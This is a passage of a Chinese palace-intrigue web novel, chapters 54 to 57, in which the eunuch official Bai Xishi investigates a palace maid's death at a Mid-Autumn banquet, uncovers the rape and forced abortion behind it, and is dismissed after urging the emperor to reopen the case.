白惜时白日要伴驾随堂,解衍也得御前守卫,二人即便遇上亦说不了两句话。而夜里等解衍下值,他作为侍卫并不能在宫中多做逗留,因而即便白惜时此刻回到了司礼监,二人仍旧没什么机会碰面。 所以思来想去,解衍才会抓住这个时间差,选择了夜间当值。 但如果说了实话,追赶的太紧,解衍直觉眼下时机并不成熟,恐怕反而会引起白惜时的排斥抵触。 思及此,解衍没有多做解释,而是搬了个椅凳坐于离白惜时不近不远的位置,然后什么都不做,就那么一瞬不瞬地盯着对方。 白惜时第一时间察觉到了那缕视线,恍若未觉,兀自详看每一份奏章和票拟意见。 然而等一沓子文书看完,解衍还在盯,片刻不移地盯,白惜时也总算被他盯得烦躁起来,转头,伸手,面无表情推了把男子的脸,将他的脸推偏了过去。 然而,解衍不声不响,很快将脸又转了回来,就像是什么都没发生一般,继续盯着白惜时。 白惜时冷哼一声,再推……解衍再转。 白惜时又推……解衍还转。 几次三番之后,白惜时彻底没了耐心,觑着男子皮笑肉不笑道:“你是不是胆子肥了,想挨顿揍才老实?” 谁料解衍听完,先是低下头,就在白惜时以为他终于准备承认错误之际,男子突然忍俊不禁,就在白惜时面前这么笑了起来。 啧,方才不是忏悔,是在憋笑? 白惜时无语非常,脑袋里此刻亦充斥着前所未有的问号,要不是解衍此刻笑得满面春风,白惜时都怀疑他是不是在故意挑衅自己。 回府一趟脑袋遭驴踢了? 很好笑吗? 吊起眉梢,白惜时这回直接踢了他一脚,“怎么,你是不是觉得咱家不敢揍你?” “不是。” 解衍老实摇头,继而努力敛下笑容,诚恳道:“……想挨揍。” “???” 白惜时:“你再给咱家说一遍?” 什么意思,这还能给他整期待了? 然而解衍此刻却真正敛下笑容,倾身凑前,睁着他那双澄澈的眸,突然无比认真道:“……想挨揍,掌印就会真的揍吗?” 二人距离在一瞬间被解衍拉的极近,视线交汇间,白惜时甚至能感受到对方的鼻息喷在自己的脸上。 无声与他对盯了一会,白惜时大方迎视,继而不知为什么,在对方温和沉静的眼神下,方才的那点气闷和费解竟也逐渐消散殆尽。 眼看解衍当值的时间接近,白惜时一回想,又觉得方才二人斗嘴实在幼稚,继而决定不再跟他胡乱掰扯,伸手,撑在男子的胸膛,一把将他推远了些。 端起清茶,兀自转身啜了一口,待一汪凉水入腹,白惜时才恢复如初,继而侧首,复又看向男子。 “那可真是不好意思,咱家就是这么见不得你如愿,想挨揍咱家偏不,不想挨揍咱家才揍。” 第54章 第54章 中秋夜宴当日,从傍晚开始便陆续有官员携家眷进宫,白惜时在筵席的场地巡了几回,没发现什么不妥当之处,便预备重回御前,等百官到齐,再陪同皇帝一起入席。 出了宫宴入口,又见到了几位熟悉的面孔,有官员主动领着家眷上前向白惜时问安,白惜时也都很给面子,颔首回礼。 千闵、元盛前些日子见着她,都说她性情变了许多。变了吗?应该是变了些的,白惜时自入宫以来,确实较以往收敛了不少。 掌印和厂督所不同,厂督可以飞扬跋扈、缉凶查案,无所顾忌。加之上头原先还有爷爷给她保驾护航,她自然随性很多。 但掌印,日日与天子、朝臣打交道,一句话一个字都要三思而行,她总要融入其中,较以往有所改变。 待几位官员离开后,白惜时继续往外走,这时候扬眼,远远看见滕烈与冯有程走了过来,看到这二人,她倒是真心实意停下脚步,继而目光往他们身侧一暼……空空如也。 冯有程看上去很高兴,隔了老远就与白惜时打招呼,“掌印!” 白惜时:“二位没带家眷?” 要知道此次入宫机会难得,许多官员都恨不得将夫人、子女都带来感受下这皇家的气派。 滕烈闻言,看了白惜时一眼,“没有家眷。” 知他二人父亲也在朝中为官,母亲应是与父亲同行,白惜时:“兄弟姐妹?” 滕烈:“不算家眷。” …… 白惜时觉得自己多余一问。 她当然知道家眷特指什么,但这来参加宫宴的,恐怕只有滕烈这么严谨刻板,旁的年轻官员即便没有家眷,也不会浪费机会,会将亲属一并带进来。 冯有程听到这里抢过话茬,“掌印,属下也没有家眷,不过我这次是奔着找家眷来的,所以就想保留个好印象,谁也没带。” 说完又有意无意向白惜时展示了眼自己今日的这身装扮。 白惜时经他一提醒,才发现冯有程今日的确穿了一身崭新的红色官袍,头束紫金冠,但……武将高大宽厚的身板加之这华贵公子哥式的配饰,怎么说呢? 用力过猛了些,反正女子应该不是不大欣赏的出来。 对着这副装束白惜时昧着良心也夸不出口,改为换了话题,“冯副使有心仪之人?” 冯有程很乐观,闻言又更乐观地放眼了一番筵席之内,“没有,不过过了今日之后,应当就有了。” 确实,今日宫宴部分官员确实抱着为子女相看而来,白惜时:“……那咱家便祝冯副使好运。” “哎!事成了请掌印喝喜酒。” “……” 白惜时静默半响,改为转向滕烈,正欲告辞,但男子似乎领会错了白惜时的意思,在她的眼神之下,突然前不着村后不着店的来了一句,“没有相看的打算。” 哦。 白惜时古怪地看了他一眼,白惜时其实也就有兴趣问问冯有程,滕烈不用问都知道答案。 走的时候,白惜时还听见冯有程在后头劝滕烈,“唉,缘分这东西很玄乎的,指挥使你别咬的那么死,有时候突然看对眼了那就是看对眼了,十头牛都拉不回来。” 滕烈心不在焉,看了眼前方的背影,“知道。” 冯有程的声音顿时提高了八度,“知道,你竟然知道?你从哪知道的?” 男子收回目光,觑了对方一眼,“……紫金冠歪了。” “啊?”冯有程大惊失色,顿时抛却方才一探究竟的劲头,“今日不同往常,那我可得去寻一面铜镜好好规整规整。” — 宫宴正式开始的时候,已是华灯初上。 皇帝携皇后、贵妃一同入席,说来按照礼制,应当只有皇后才能与天子同行,但无奈皇后无宠,更是在前两年与贵妃爆发矛盾之时,皇帝均以贵妃为为先,如今实权都掌握在贵妃的手中,皇后之位已经有名无实。 不过这都不是白惜时该操心的,她只默默跟于三人之后,继而陪同天子步入水榭当中的高台,欣赏这一场中秋盛宴。 今日的筵席布置与以往不同,因上次祈雨成功,皇帝对神佛之事越发感兴趣,在听了高僧的意见后,特意将天子之席移到到了水榭当中的高台之上,太后与一众后妃也伴驾而坐,寓意“受命于天,既寿永昌。” 而一众大臣则围坐于水榭周围,众星拱月、仰望天子。 宫宴在天子与朝臣们的共同举杯中开始,继而美酒佳肴、丝竹乐舞不断,眼见整个筵席衔接顺畅、有条不紊,白惜时也逐渐放下心来,将具体事宜都交给了下头人去办,自己也终是有心情去欣赏欣赏这场筹备已久的盛宴。 今日宫中灯火通明,华盏将水榭周围照得如同白昼,白惜时观赏之余,亦看见了滕烈、冯有程的身影,除此之外,还有魏廷川。 世子今日也是独自前来,不过他隔壁桌便是兵部尚书及其夫人、刘二小姐,看得出来刘晚禾在家中应该颇受宠爱,父母没有带兄长倒是将她带了过来,大概也是因为这样,才会养成那样天真开朗的性情。 这个时候刘晚禾似是觉得一道刚上的奶酪香糕好吃,吃完了自己的那份,抿了抿嘴唇,又有意无意去瞟魏廷川桌上那份没动过的,然而很快被她的母亲发现,刘夫人半是责备半是宠溺地拍了下女儿的手背,刘晚禾这才吐了吐舌头,收回目光。 然而隔壁桌的动静很快引起魏廷川的注意,男子转头,在弄明白缘由后,大方将自己那份奶酪香糕递了过去。 刘晚禾一边吃,一边抑制不住的扬起唇角,连带着白惜时看着她,都觉得实在可爱俏皮。 这世间的女子,各有各的美好,白惜时兀自想着,就在准备收回目光之际,魏廷川似有所觉,朝高台之上望了过来。 继而发现白惜时正看着他所在的方向,魏廷川展颜,大方冲她扬唇一笑。 微一颔首算作回应,白惜时将注意力又重新放到了高台之上,时机正巧,瞧见皇帝酒樽饮尽,她便上前一步,为天子新添了一盏暖酒。 舞乐间隙,高台之上后妃和公主们开始向皇帝献礼,端静公主紧张的将自己所作的诗歌呈了上去,天子在众多花心思的节礼上一一览过,最后拿起这份诗歌,看了几眼后颇为满意,继而当得知是谁所作,面上闪过微讶,笑着对端静的方向说了一声“好”。 端静公主因为父皇这简单的一个“好”字,兴奋的在桌下捏起裙摆,继而起身回礼,但那捏着裙摆的手,好长时间都没有松开。 一切看起来都很顺利。 这个时候宫女们端着新一轮的菜品鱼贯上前,然而一个尚膳监的小宫女不小心踩到裙角,失手将几滴汤汁溅在了贵妃娘娘的衣裙之上,那小宫女见状低低压着头,似是被吓坏了,嘴中不停念叨着“娘娘息怒”,便举起衣袖给贵妃擦拭了起来。 见场面有些杂乱,白惜时与天子低低禀报一句,走了过去。 她的本意,是想快些平息这场小骚乱,兼之这宫女已浑身发着颤又一直低头,略微有些古怪,她欲斥责几句便发落下去,事后再问详情。 果不其然,贵妃见为赴宴特意让人赶制的衣裙沾上油污,还因此事让她在群臣面前出丑,气恼不已,继而那宫女又用脏污的衣袖在她身上擦来擦去,更觉厌恶,猛然一伸手,就想要将她推开。 然而就着因为这一推,突变发生在电光火石之间。 明明没有那么大的力气,可那小宫女却如同被掀翻一般整个人直直向后仰倒,而她的后方正是凭栏,她竟像是刹不住般骤然就有往后翻落的趋势。 在即将翻落的那一刻,小宫女终于抬起头,继而手臂一伸捞住贵妃,死死攥住她的手腕,俞贵妃猝不及防向前猛扑而去,竟就着她的力,眼看就要一起被带落。 而俞贵妃在最后一刻看清那小宫女的面容,瞳孔一惊。 事故发生的太过措手不及,众人尚且来不及反应贵妃便已半边身子被拖了下去,在皇帝一声“爱妃”的惊呼中,白惜时顾不得那么多,眼疾手快纵身一跃,堪堪在最后一刻用力抓住了贵妃的小腿,然而被惯性牵制,连带着自己都被骤然拖出去半截。 心中暗道不好,用上半身紧抵住栏杆,才稍微稳下坠之势。 但显然维持不了太久。 千钧一发之际,突感腰腹间一只臂有力的膀环来,很快将她稳住,继而急急向后一带,白惜时此刻双手还死死攥着俞贵妃的小腿,而身后,紧贴着一个人的胸膛。 直到这个时候所有人方如梦初醒,慌乱冲过来帮忙,同时拼命将倒坠下去的贵妃往回拉……而与此同时,随着“咚”的一声巨大闷响,水榭四周霎时像是炸开了锅,惊叫慌乱之声四溢! ——概因那小宫女已经直直坠落,就这么于众目睽睽下摔死在高台之下。 小宫女死前仍大睁着双眼,滚烫的鲜血从后脑勺流出,很快染红四周,像是死不瞑目。 混乱之下,高台之上也乱作一团,众人心思各异,皇帝此时已高呼“太医”,继而快步走到被救下的贵妃边,温声抚慰询问。 到了这个时候白惜时才喘了口气,恍然回头,撞上身后男子一双紧张未消的眸,再一低头,才发现此刻腰都快被这个人勒断了,微一蹙眉,男子察觉到他的不适,手臂骤然一松,很快放开了这个类似于背后环抱的姿势。 此刻大部分的关注点都在贵妃之处,倒是没什么人注意到他们这边,白惜时稍稍拉开了些与解衍的距离,二人一前一后从人群中走出,逆着人流,挥退小太监的跟随,白惜时兀自靠在一方红木圆柱边,定神平复。 好险! 而解衍则停在于白惜时几步之遥处,怔怔望着对方,好长时间都没有说话。 今日夜宴,解衍于御前当值,发现有小宫女冲撞贵妃,他本能的走过去欲排除风险,并给白惜时帮忙。 然而尚未走到,便看见了白惜时飞扑出去的一幕,解衍当时大脑一片空白,一股寒意从四肢直冲脑门,来不及反应便拔腿向前飞奔…… 好在,好在有惊无险。 男子到了这个时候,才发现手臂都在发麻。 白惜时此刻同样望着男子,见他一副心有余悸的模样,好像是有点……被吓到了。 “我没事,还好你及时赶到。” 白惜时冲他笑了笑,想要让他放松些。 似是有千言万语,但又都卡在咽喉一句都说不出来,解衍不知是在回应白惜时,还是在回应自己,良久之后才一点头,回了一声“嗯。” 第55章 第55章 白惜时觉得右臂有些疼,应该是方才情势太急兼之下坠之力太猛,她没当心扭了一下。 不过她没顾得上这么多,等心绪稍稍平复,便穿过一众纷乱之人,走下高台,朝那宫女坠落的地方走去。 意外发生在电光火石之间,很多细节来不及注意,不过现在回忆起来,那宫女在靠近贵妃之后行为举止便有些古怪,特别是那一直都未曾抬起的头。 她是怕谁认出她来吗? 水榭旁此刻亦是一阵乱糟糟的景象,群臣及家眷正言笑晏晏欣赏舞乐,猝不及防一个大活人从天而降,摔死在众人面前,确实是一件容易引起骚乱之事。 许多女眷已然吓得花容失色,纷纷躲在父亲或夫君的身后,此刻刘晚禾也一脸惊恐,她们这一桌恰好离出事的地点近,相当于眼睁睁看着那宫女死去,娇养在闺中的小姐从未见过如此血腥的场面,害怕得眼神都有些发直。 意外发生的第一时间魏廷川便已起身,此时见到高台上走下之人,男子绕出案桌阔步而去,径直从兵部尚书一桌越过,看向此刻正眉目紧锁之人。 “惜时,怎么回事?” 事关贵妃,事件缘由还没查明前,白惜时不欲多言,“一点意外,尚未查明。” 回答完世子后,白惜时便朗声向群臣宣布,“今日突发意外,一名尚膳监宫女失足坠落,天子有令,中秋宫宴到此结束,还请各位大人携家眷有序离宫。” 话音一落,便是将此事定性为一场无心之失,片刻后,分立于水榭四周的小太监纷纷听令上前,引导着各位朝臣向水榭之外走去。 眼看着人流纷纷向外涌去,魏廷川倒是未动,视线停留在白惜时活动不大自如的右手之上,正欲询问,对方已经率先开口,“事关内廷,世子不宜久留。” 说罢又看了一眼后头的刘二小姐,发现她此刻正朝魏廷川望过来,遂退后一步道:“刘小姐受惊不小,世子关注。” 经白惜时这一提醒,魏廷川才回头瞧见刘晚禾那一张因惊吓而过度苍白的脸,犹豫片刻,脚步尚未走出,待再转头还想要对白惜时说什么,发现那人已经带着几名小太监向宫女的尸体走去。 蹲下身,第一眼,白惜时便注意到那宫女仍双目圆瞪之相,似是死前极不甘心,她心里很明白,这绝不是一场意外,而是一场蓄意谋杀——以命换命、孤注一掷的谋杀。 尚膳监的管事此刻同步赶到,变故出自他手下,见到白惜时,那管事满面愁容不停解释,白惜时不欲听他多言,起身接过小太监呈上的手巾,一边擦拭一边冷声打断,“眼下不是解释过失的时候,说重点。” “是是。”那管事这才言归正传,“此人乃尚膳监宫女王翠容,二十四岁,平日里老实敦厚,且再有几个月便能获准出宫,名字都报上去了,唉!谁成想,谁成想竟出了这样的岔子。” 就快获准出宫? 白惜时知道在宫中伺候人的日子不好过,许多宫女日夜盼着,便是到了二十五岁恢复自由之身,出宫与家人重聚,结亲生子。 但眼看着就快要熬出头,王翠容为何会选择这个时候去与贵妃拼命? 这个问题没有困扰白惜时多久,第二日,便有验尸的仵作来报,此宫女的腹中有一团腐肉,应当是怀着胎儿时暗自服用了堕胎药,但效果不佳,虽胎死腹中,但那块腐肉没能流出。 白惜时听完再一联想王翠容刻意针对的贵妃,预感不妙,没有再擅自查下去,而是起身离开司礼监,将此事禀明天子。 皇帝听完果然震怒,此事往大了说算是秽乱宫闱,愤而将手中的折子一摔,他命白惜时立即彻查原委,白惜时闻言领命,垂首应“是”。 然而当白惜时禀报完向勤政殿外走去时,皇帝像是又意识到什么,突然出声,唤回白惜时,停顿片刻后特意嘱咐了一句,“此事秘密进行,不得节外生枝。” 看来,皇帝亦有所感知。 白惜时面上没显露多余的表情,只是不知若是这次真如所料,皇帝又会如何处之? 凑巧的是,这厢白惜时方从勤政殿离开,甬道的拐角处已有一名宫女在等着她,那宫女与白惜时见过礼,便直言贵妃娘娘请掌印去翊坤宫中喝茶,感谢她昨日的及时相救。 白惜时说不清当时的感受,只盼着贵妃找她,真的只是为她出手相助便好。 翊坤宫中,香烟袅袅。 贵妃伴靠于软榻之上,显然已经从宫宴当日的惊吓之中恢复过来。看见白惜时,她笑着叫人给她赐座,继而又念叨了些往日情谊,直到时机看似差不多,她才抬手屏退下人,坐直了身子,看向对面之人。 白惜时亦屏气凝神,等着贵妃接下来的话。 果然,之后的言语里贵妃明里暗里都在告诉白惜时,有些事情不必较真,糊涂置之也是一种处事之道,并且说到最后,几乎已经算是明示,就差告诉白惜时,她连替死鬼都已经给白惜时找好了。 此刻,白惜时也终于确定了心中猜想,能让贵妃如此煞费苦心的,只有一个人——俞昂。 后续的几日里,经过探查问询,白惜时很快得知,王翠容乃家中独女,父母均已去世,宫外没什么亲人,却有一门自小定下亲事,她的未婚夫是京中衙门中的一名小吏,二人青梅竹马、感情甚笃,就等着王翠容二十五岁出宫后完婚。 而几个月前,俞昂在禁军巡逻值夜中,因纵酒过度,且那日大雨连绵,他于途中偶遇了浑身被雨淋湿的王翠容,见此女子容貌姣好,在酒精的作用下心生妄念,继而以撑伞送王翠容回尚膳监之际,俞昂强迫了这名宫女。 王翠容在被强迫后应该就有了轻生的念头,相熟的宫人反映她时常莫名啼哭,魂不守舍,但最后应该是想到就快要出宫,最终默默隐忍了下来。 但三个多月后,王翠容大概是发现自己怀有身孕,惊慌恐惧之下找到俞昂,俞昂亦不知如何是好,害怕皇帝降罪便找到了自己的姐姐俞贵妃帮忙。 而俞贵妃,白惜时猜测或许对这名小宫女进行了言语侮辱,诋毁她刻意湿身引诱俞昂,不顾廉耻妄图攀龙附凤。尚膳监与王翠容同屋的宫女告诉白惜时,自那日于从翊坤宫回来后,王翠容时常彻夜无眠,即便短暂睡着,也是梦话连连,争辩着自己不是不要廉耻的贱人。 而从翊坤宫回来没多久后,贵妃便给王翠容赐了一碗汤药,这碗汤药白惜时知道应该就是堕胎药,但王翠容喝下后却没有顺利流下孩子,反而胎死腹中,肚子一日疼过一日,**也一直出血。 同屋的宫女彼时只当她是小日子不调,还劝过她去使些银子找关系看看太医,但王翠容只面容憔悴、摇头不语。 至此,这名小宫女恐怕是知道自己命不久矣,且无颜面对宫外的未婚夫,才真正存了死志。 而她也应该是恨毒了残害并诋毁自己的俞昂与贵妃,想着哪怕死,也一定要报仇雪恨。 事件到了这里,基本已经算是查探明白,回想起王翠容那双死不瞑目的眼,白惜时叹息一声,继而着人叫来尚膳监管事,直接问了他三个问题。 “宫宴前是否发现此女有异?有异为何不禀?有异为何还要选中她为后妃上菜?” 只因白惜时在中秋夜宴前几日就再三强调,为保当日顺畅有序,若是宫女太监中有身体欠妥或精神不佳者,一律换下不用。 哪成想尚膳监管事听完双膝跪地,直接大呼冤枉。 “掌印您是不知,奴才真是倒霉的时候喝凉水都塞牙,那日奴才本就不准备选王翠容去宫宴伺候,奈何她得知后哭哭啼啼跟在奴才身后,这个时候又正好撞见皇后娘娘的凤撵路过,皇后娘娘心善,询问了原由后便为她说了两句话。” “您说,掌印您说,连皇后娘娘都开口了,奴才还怎么拒绝得了啊?” 皇后? 白惜时听完眉头微蹙,继而眼皮一跳……皇后! 皇后与贵妃向来不和,二人曾争锋相对很长一段时间,后来的结果显而易见,皇后落败。自此,皇后深居坤宁宫,非重要场合显少露面。 那么,她为何会突然撞见这名尚膳监的小宫女,并为她说话呢? 白惜时突然不无揣测地想,皇后真的只是因一瞬间的善念……还是,她亦想要利用这个无辜的小宫女,借刀杀人? 第56章 第56章 白惜时将调查结果拖了两日才呈上去,这两日里,她亲自过问了王翠容生前的诸多细节,结果是,这名小宫女在生前除那次宫道上的偶遇外,还曾与皇后见过一次面。 就在她出事的七日之前。 这次的见面内容不得而知,但白惜时一直有个疑惑,那便是王翠容即便想报仇,她最想杀的人应该是俞昂,但她最终选择动手的对象却是贵妃,还是在百官及其家眷的眼皮底下。 如此选择确实更加明智,只因贵妃若是死了,俞昂便自动失了靠山,相当于一石二鸟。 而即便贵妃没死,众目睽睽之下发生的坠亡事件,皇帝也定会下令彻查,相当于有更大的可能能够沉冤昭雪。同时群臣不知具体事件经过,均以为是小宫女犯错贵妃恼怒将她推下高台,近日来贵妃的名声已然愈发糟糕。 失德失贤的结果便是,无法再继续撼动皇后的地位。 但通过白惜时对这小宫女的探听了解,她秉性纯良,未必能想的如此周密,很有可能是背后有人给了她指点。 也就是说,王翠容在死前的最后一刻,都是在被人利用,成为了这后宫之中权力倾轧的牺牲工具。 不过没有证据,这些都只能是白惜时的猜测罢了,只不过自此,她也开始关注这位曾经被忽略的后宫隐形人——皇后。 出于良心、出于秉公执法,白惜时没有替俞贵妃、俞昂隐瞒这一桩丑事,在屏退了勤政殿中所有太监宫女后,白惜时将事件的前因后果如实禀报。 得知结果后,皇帝气得脸色发青,当下气得从龙椅之上站起,厉声下令撤去俞昂的禁军副总领之位,收监问罪。 然而,在俞昂被关押进牢狱没多久后,俞贵妃便病倒了。 且病的很重,日日缠绵于病榻,连下床都不再能够。 白惜时曾陪着皇帝去探望过一次贵妃,只观察了一会,她便知道贵妃是真的病了。不知是为弟弟忧心,亦或是对失宠失势的惶恐,总而言之,她是真的病了。 且她于病榻之中看也不愿再看白惜时一眼,白惜时同样明白,她与贵妃娘娘的昔日情谊,因为这次的如实回禀也终究是走向了末路。 只能说,问心无愧吧。 但皇帝的怒气在贵妃日渐憔悴衰弱的病躯下,渐渐被消磨了下去。 看着心爱之人迟迟不见好转,连御医都束手无策,担心忧虑之余,他也联想到处置俞昂可能会给贵妃带来更为沉重的打击,因而时间一久,此事便拖了下来。 最后,俞昂被转移收监至西厂,而皇宫中人皆知,新任西厂厂督邹龙春正是贵妃娘娘引荐提拔之人。 至此,俞昂虽被撤职查办,但性命应该是保住了。 白惜时对于这样的结果,只能深深一叹,不知是为那枉死的小宫女而叹,亦或者是其他,最后也只能劝服自己做好分内之事,其他的,便交由皇帝决断。 但当白惜时以为此事会就此揭过之际,朝堂之上,再起波澜。 概因王翠容的未婚夫姚立是顺天府的一名小吏,时常经手百姓案件,因而在为王翠容收敛下葬之时,他敏锐的察觉了不对,并请衙门中的仵作进行了验尸。 很快验尸的结果出来,姚立怀疑王翠容之死另有隐情,因而他第一时间将此事反应给了自己的上级,顺天府尹熊安。 熊安此人刚正不阿、不畏权贵,在群臣及百姓中素有廉名,审理平反过多桩冤假错案,因而即便察觉到此事可能涉及宫闱禁忌,熊安还是替这名小吏接下了此案,并且上奏质疑王翠容之死存疑,申请重新核查。 皇帝接到这封上奏后很烦躁,俞贵妃的身体每况愈下,一个宫女的命和俞贵妃的命,在他的心中自然不可能相提并论,何况此事还涉及宫闱隐秘…… 可此事显然已在百官中引起不小的波澜,其实有很多人宫宴当日便存疑,高台上的围栏并不矮,一个小宫女真的有那么容易失足摔落吗? 不少官员都观望着熊安的这一封折子会被如何批阅。 而帝王一烦躁,有那些投机取巧、会看眼力界的便主动站出来,帮他解决这样的烦躁。 西厂邹龙春在得知消息之后,很快寻了个由头,罗织罪名,将熊安和那小吏一起抓了起来。 皇帝知晓后没有多说什么,只安排贴身小太监带了一句话给邹龙春,那便是——“需得还一个活着的熊安予朕。” 言下之意,可以用刑逼其改口放弃,但人不能死。 白惜时是于熊安、姚立被捉拿下狱后的第二日才得知此事,听到禀报后她很快起身,亲自去了一趟西厂。 王翠容死不瞑目的模样近日常浮现于白惜时的脑海,这名小宫女分明什么都没有做错,分明总算就快要熬出头看到希望,却被俞昂残害,眼睁睁断送了生的希望。 白惜时顾念着皇帝的偏爱,顾念着落魄时与俞贵妃的朝夕相处,亦或者说,是顾念着所谓的内廷生存之道,没有再继续过问此事。 但现在,已经有一个人比她勇敢,比她刚正不阿,敢于质问皇权的人站了出来,甘愿为一个普通的小宫女伸张正义,讨回一个公道而身陷囹圄,白惜时亦觉得,她不能再袖手旁观。 何况这被关押的人中还有王翠容的未婚夫。这名小宫女生前极为节俭,却一个铜板一个铜板攒下了一份可观的嫁妆,满怀希冀的期待出宫后的幸福生活。 死前她万念俱灰,托付同屋出宫时将这份嫁妆带给姚立,而姚立也没有让她失望,拼死亦要为王翠容寻求一个真相。 白惜时到达西厂的时候,邹龙春始料未及、诚惶诚恐,急急跑出来想要迎接见礼,白惜时未理会此人,径直越过,叫人引路去了熊安、姚立被关押的牢狱。 阴暗潮湿,血腥之味弥漫。 熊安听见声响,于脏乱的牢房内睁开被血糊住的眼,继而看见白惜时,嗤笑一声,显然将他与邹龙春当做是一伙人,昂起头颅撇向一边,只当是没看见来人。 而姚立不知白惜时身份,此刻见曾经凶神恶煞狱卒均对他毕恭毕敬,像是抓到唯一的救命道草,爬到白惜时的脚边,哭着问他。 “翠荣做错了什么?我又做错了什么?宫女的命难道就不是命吗?凭什么害人者逍遥法外,翠容却到死前最后一刻都闭不上眼?” “大人,你告诉我这是为什么?我真的做错了吗?” 白惜时静立,垂目,看着那个从栏杆中颤颤巍巍伸出,布满伤痕却又紧紧攥住自己衣摆之人……字字泣血! “你没有错。” 临走之前,白惜时回答了姚立四个字。 步出西厂,抬首,白惜时望向天边那一轮红日,它将巍峨的皇宫笼罩在一片光辉璀璨之中,却似乎,也无法照亮当中的每一寸晦暗之地。 是啊,每一条生命都应当被尊重。 沉吟片刻,白惜时没有回司礼监,而是径直去了天子所在的勤政殿。 出乎意料,此刻勤政殿外站着的官员倒是比平日里多了不少,门口的小太监见此情状正不知如何是好,一发现白惜时回来,顿时松了口气,快步赶过来声称圣上正在寻他。 原来,熊安虽官职不高,却廉名远播,这些官员都是知道熊安被捕自发过来想要请皇帝收回成命。皇帝得知后自然极为不悦,欲叫白惜时将他们打发走。 白惜时被小太监引入了殿内。 年轻的帝王坐于龙椅之上,此刻正眉目紧锁,发现来人,居高临下望了过来,“都打发走了?” 白惜时一步步走近,站定,回禀上首之人,“尚未。” “那些小太监没告诉你朕的旨意?” “告知了。” 白惜时面色不改、孑然而立,这个时候低头抱拳,言辞冷静道:“只不过奴才亦想恳请圣上收回成命,释放熊安、姚立,重查王翠容一案。” 似是没想到他竟会吐出这样一番说辞,皇帝停顿半晌,突然严厉质问了一声,“白惜时!” 而下首之人却没顾皇帝的怒气,继续劝谏道:“圣上,试问若是皇家都不能秉公办案,有所包庇,那么天子又何以服众,要求百官清正廉明、天下海晏河清?” 听到这一番顶撞之语,年轻的帝王直接从龙椅中站了起来,直视着殿下之人,“白惜时,你知不知道自己在说什么?” 白惜时不卑不亢,迎着天子恼怒的视线,望了过去。 “圣上,奴才认为一味姑息纵容,只会适得其反。而因此迁怒探求公道的官吏,不仅伤了圣上威名,亦会伤了臣子百姓之心。所以奴才再次恳请圣上三思,释放熊安、姚灿,三法司共同会审宫女王翠容一案。” 皇帝听完,一边指着白惜时一边于龙椅之前来回踱步,“好啊,你,白惜时,你就是这么做的,你就是这么让朕不失望的!” 白惜时低头敛目,没有再言语。 而皇帝的声音却再次拔高,“我看你是昏了头!既然头脑尚不清醒,朕看这司礼监掌印也难以胜任,想不明白便趁早回家待着去!” 不是没有预想到这样的结果,白惜时闻言仍旧平静,淡定回了一个字——“是。” 但这个字却明显愈发激怒了帝王,话音刚落,便见一个盛满墨汁的砚台自上而下,直直朝白惜时飞了过来。 “哐当”一声,白惜时没有躲,那砚台便重重砸在她的官袍之上,继而四溅开来,滚了两圈,摔碎在反光的殿堂之内。 见此情状,皇帝眉宇间的戾气更甚。 而此时此刻伺候在旁的小太监已经吓得魂飞魄散、噤若寒蝉,他何时看过此等场景?掌印竟与皇帝如同对峙般,丝毫没有退让之意? 抬手一抚溅在脸上的少许油墨,白惜时宛若什么事都没有发生,面色如常,躬身行礼,“奴才告退。” 片刻之后,勤政殿的两扇大门被人轰然从内推开,百官仍静立阶前,听到方才殿内的响动,不知出了什么情况,此刻见到白惜时踏出,众人的第一反应是她要替皇帝来轰赶群臣,然而当看清他那一身御赐蟒袍上突兀的墨痕,以及仍不断往下滴落的墨汁,视线均凝结了般,一时殿外出现了片诡异的死寂。 继而当看着白惜时一步步走近,不知出于什么原因,原本静立的朝臣竟自发向两边退闪开来,从中间给白惜时让开了一条通道。 起风了,白惜时抬头,树叶旋落,带来一股入秋的寒凉。 秋风同时掀起她此刻算得上凌乱的官袍,但身着此袍之人却已目不斜视,在百官的注视下,步伐稳健,从容镇定走下这玉石台阶。 爷爷,你曾说过,先上桌再吃饭。孙儿以为自己既然上桌,便能够改变些什么,却不想,今日尽力尝试一番,却终究可能是徒劳。 不过也罢,但求问心无愧罢。 踏下最后一步阶梯,白惜时没有撞见旁人,却于宽敞的大道内撞见了自己的两个小徒弟。此刻赵岳正忪怔的望向白惜时,眼神复杂凝重,连挡了她的去路都不自知。 而小锁很快上前一步,满是担忧地唤了一声“掌印”。 抬手,轻抚了下二人的肩头,白惜时什么都没有说,举步,继续踏着这秋风,朝着安和门之外的方向行去。 而在江小锁许多年的记忆里,都是广阔天地间掌印那把笔直挺立的脊梁,以及漫天秋风中卓然而去的背影。 第57章 第57章 白惜时回到了宫外的府邸,天子既然让她回家待着清醒,她便待着,总不好再留于司礼监。 连续几日,白惜时均对外称病没有入宫。 她知道自己有些意气用事,亦有与皇帝博弈的成分在,但她眼下只能用这一招去赌天子冷静之后会不会改变决策。 出于她对天子的了解。 不过在家的日子…… 真舒服啊! 什么都不用操心,什么都不用做,如若不是记着熊安、姚立还被关在西厂,她眼下应当会好受很多。 不过千闵来报,邹龙春自那日白惜时去过西厂之后已经不敢轻举妄动,人虽然还被关押着,已经没再用刑。 白惜时大白天里乍然回府,府中之人均吓了一跳,并且自此就她待在家中无所事事,众人诧异疑惑之余,均不敢贸然询问。 解衍也是当晚去御前当值才听闻白日里勤政殿发生之事,继而再回到府中后,大白天也不去补眠,就这么陪伴在白惜时左右。 白惜时去哪他去哪,白惜时逗鸟他提笼,白惜时喂鱼他递食,就连白惜时去午睡他也会在外头守着。 不过不得不承认在这个时候,有个人能一直陪伴确实感觉还不赖。 而且解衍也很聪明的未与她提及勤政殿之事,就是单纯陪她放松,卸下心理负担。 但午睡……便免了罢,何况他夜里亦要当值。 回到屋中,经孟姑姑提醒解衍仍在屋外,白惜时走过去拉开房门。 “掌印。” 本已半靠在墙壁上假寐的男子听见响动很快直起身,目光清透望了过来,“可是有什么需要?” 太诚恳了,态度实在太诚恳了,诚恳到白惜时瞧着他那模样心脏无端一顿,默了一默。 “不用叫掌印了,以后咱家也未必再是掌印。” 半晌之后,白惜时回了这么一句。 见他愿意主动谈及此事,男子眼中闪过类似于关怀的情绪,继而沉默良久,就在白惜时以为他不会再说话的时候,男子却再次抬眼看向他。 那眼神,像是鼓励更像是坚定的支持——“认定了便大胆去做,一直往前走,无须回头。” 男子突然如是道。 白惜时有些错愕又有些探寻,“你不觉得咱家意气用事?” 解衍摇头,用一双漆色的眸子告诉他,“掌……惜时很勇敢,比我之前认识的任何人都要勇敢。” 